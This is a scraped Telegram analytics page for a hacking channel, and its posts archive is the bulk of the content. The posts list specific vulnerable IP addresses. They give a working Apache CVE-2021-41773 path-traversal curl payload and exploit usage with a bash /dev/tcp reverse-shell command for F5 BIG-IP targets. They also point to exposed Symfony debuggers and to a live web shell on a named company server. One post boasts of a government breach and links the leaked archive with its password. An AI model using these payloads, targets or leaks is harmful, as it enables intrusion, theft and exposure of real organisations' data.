![[ Cyber.Anarchy.Squad ]](https://cdn.tlmtr.io/_next/image?url=https%3A%2F%2Fimg.tlmtr.io%2Fc%2F1ORzPC%2F5465398747073724562%3Fty%3Dl&w=48&q=75){kind=small}
[ Cyber.Anarchy.Squad ]
Open in Telegram
[ C.A.S Channels - @C_A_Ss ] [ Manager - @TheWayObserver3119 ] [ Warning: @caswarning ] [ Twitter: https://twitter.com/theway_3119 ]
Show moreUkraine6 104The category is not specified
📈 Analytical overview of Telegram channel [ Cyber.Anarchy.Squad ]
Channel [ Cyber.Anarchy.Squad ] (@anarchy_squad) in the Russian language segment is an active participant. Currently, the community unites 11 047 subscribers, ranking in the Other category and 6 104 in the Ukraine region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 11 047 subscribers.
According to the latest data from 08 September, 2024, the channel demonstrates stable activity. Although there has been a change in the number of participants by 0 over the last 30 days and by 0 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 0%. Within the first 24 hours after publication, content typically collects N/A% reactions from the total number of subscribers.
- Post reach: On average, each post receives 0 views. Within the first day, a publication typically gains 0 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 0.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“[ C.A.S Channels - @C_A_Ss ]
[ Manager - @TheWayObserver3119 ]
[ Warning: @caswarning ]
[ Twitter: https://twitter.com/theway_3119 ]”
Thanks to the high frequency of updates (latest data received on 09 September, 2024), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Other category.
11 047
Subscribers
No data24 hours
No data7 days
No data30 days
Posts Archive
![[ Cyber.Anarchy.Squad ]](https://cdn.tlmtr.io/_next/image?url=https%3A%2F%2Fimg.tlmtr.io%2Fc%2F1ORzPC%2F5465398747073724562%3Fty%3Dx&w=64&q=75){kind=small}
11 047
ДТО Вебсервера, некая система для работы с кассовыми апаратами АТОЛ. (РФия конечно же)
11 047
84.252.73.147:80 | 91.234.180.100:80 | 185.190.7.160:443 | 185.190.7.166:443 | 37.77.104.22:8080 | 185.105.90.66:8080 | 185.105.88.161:8080 | APACHE HTTPD PATH TRAVERSAL WITHOUT RCE 80-443-8080 PORT | CVE-2021-41773 | vulns version: 2.4.49-2.4.50
Sploit:
curl 'http://IP:PORT/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' --insecure --output -
11 047
83.102.255.229:80 | 83.102.255.226:80 | 62.76.112.136:80 | 80.87.144.38:80 | 91.142.145.58:80 | APACHE HTTPD RCE 80 PORT | CVE-2021-41773 | vulns version: 2.4.49-2.4.50
Есть ещё по Китаю, но их я хз стоит ли кидать.
Щас аплодну ещё один лист, но там уже не RCE а path traversal, просто чтение файлов.
11 047
И опять я кидаю таргеты, буд-то они вам нужны.
В этом списке я собрал список открытых профайлеров с включеным дебаггером, использующихся в Symfony CMS для мониторинга запросов к серверу. Сам дебаггер щедро предоставляет вам всю инфу, куки, сессии, пост параметры, и даже конфигурации из .env файла. Хосты всё так же собрал с РФ, и вручную отобрал то, что может быть полезным. Так как времени всё это ковырять нету, я решил что лучше пусть каждый выберет что ему нужно, и отработает так как ему хочется. Там есть крупные таргеты по моим предположениям, например компания buzzaar, pims, ПУсК система мосгортранса (упоминал её выше, когда кидал скриншот админ панели. К сожалению, сегодня порт прикрыли, или ограничили по айпи, это ещё не ясно. Нужно сканить нмапом, который к слову даже открытый 80 не видит).
Кто-то будет не доволен, ну и похуй, абсолютно. Если найдёте что-то интересное, и пожелаете этим поделиться, пишите в чат, там или с админом пообщаетесь по этому поводу, или дадут аккаунт куда стоит писать.
Посмотрю что-то по уязвимым апачам, версий 49-50, таргеты уже отобраны, лишь бы кто-то их взял.
11 047
Эхх, раз такое дело то, ловите RCE в tech4u.pro
Добейте их уже)
62.76.112.136:443 | APACHE HTTPD RCE 443 PORT | CVE-2021-41773 | vulns version: 2.4.49-2.4.50
Сплойт сами найдёте, рсе простая.
(И как они себе информационную безопасность видят...)
11 047
*Если вы не можете скачать архив, подождите новый линк, льём на ещё 1 ресурс.
———————————————————————————
*If you can't download the archive, wait for a new link, we are uploading it to 1 more resource.
———————————————————————————
*如果你不能下载档案，请等待新的链接，上传到另外1个资源。
11 047
Прошло уже не мало времени, после взлома "Министерства образования и науки РФ", "Федерального гос. реестра", и других сопутствующих ресурсов, той же informika.ru.
Мы выкачали все данные, и отключили сервер, на долгое время. По неочевидным причинам, пост был удалён, а за ним и сами каналы.
Причин до сех пор мы не разглашаем, но это не имеет значения.
Взлом mon.gov.ru, был ошибочно присвоен какой-то группировке "Aurora", о которой мы даже не слышали.
Но, как говорится, сами виноваты, что не вовремя провозгласили о инциденте.
Теперь, спустя 4-5 месяцев после получения доступа, мы вновь публикуем эти данные, чтобы вы любезно расфорсили их по кибер-полигону. Удачи.
https://u2dmsrv.revenge.monster/CAS/mongovru.7z
Archive pass: @anarchy_squad
11 047
Думаю все уже слышали об относительно свежей RCE в BIG-IP.
Ничего нового вам не скажу, разве что там список дырявых хостов из Поднебесной, и неплохой эксплойт.
[ Exploit: https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit
[ Targets:
[+] Target https://106.39.102.180 Vulnerable
[+] Target https://219.239.107.20 Vulnerable
[+] Target https://116.236.240.103 Vulnerable
[+] Target https://52.131.87.155 Vulnerable
[+] Target https://117.23.5.181 Vulnerable
[+] Target https://210.5.155.140 Vulnerable
[+] Target https://222.75.165.238 Vulnerable
[+] Target https://211.140.38.140 Vulnerable
[+] Target https://116.236.240.101 Vulnerable
[+] Target https://210.5.155.130 Vulnerable
[+] Target https://124.17.12.150 Vulnerable
Use: python3 CVE_2022_1388.py -a true -u <TARGET> -c "<COMMAND>"
P.S: Для реверс конекта, просто пропишите в аргумент -c эту кмд: bash -i >&/dev/tcp/<YOUR_REVERS_TCP_HANDLER_IP>/<YOUR_REVERS_TCP_HANDLER_PORT> 0>&1
11 047
Jsp web shell на сервере ваза (мелочь, но может кому-то нужно) - https://idp.vaz.ru/authenticationendpoint/cas-shell.jsp
11 047
Jsp web shell на сервере ваза (мелочь, но может кому-то нужно) - https://idp.vaz.ru/authenticationendpoint/cas-shell.jsp
11 047
